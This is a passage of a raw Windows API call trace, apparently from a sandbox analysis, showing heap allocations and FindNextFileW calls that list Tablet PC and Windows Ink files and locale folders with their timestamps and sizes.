[0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98de48 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9866b0 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.200] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0143.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0143.201] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0143.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0143.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.202] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.202] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0143.203] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0143.203] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, 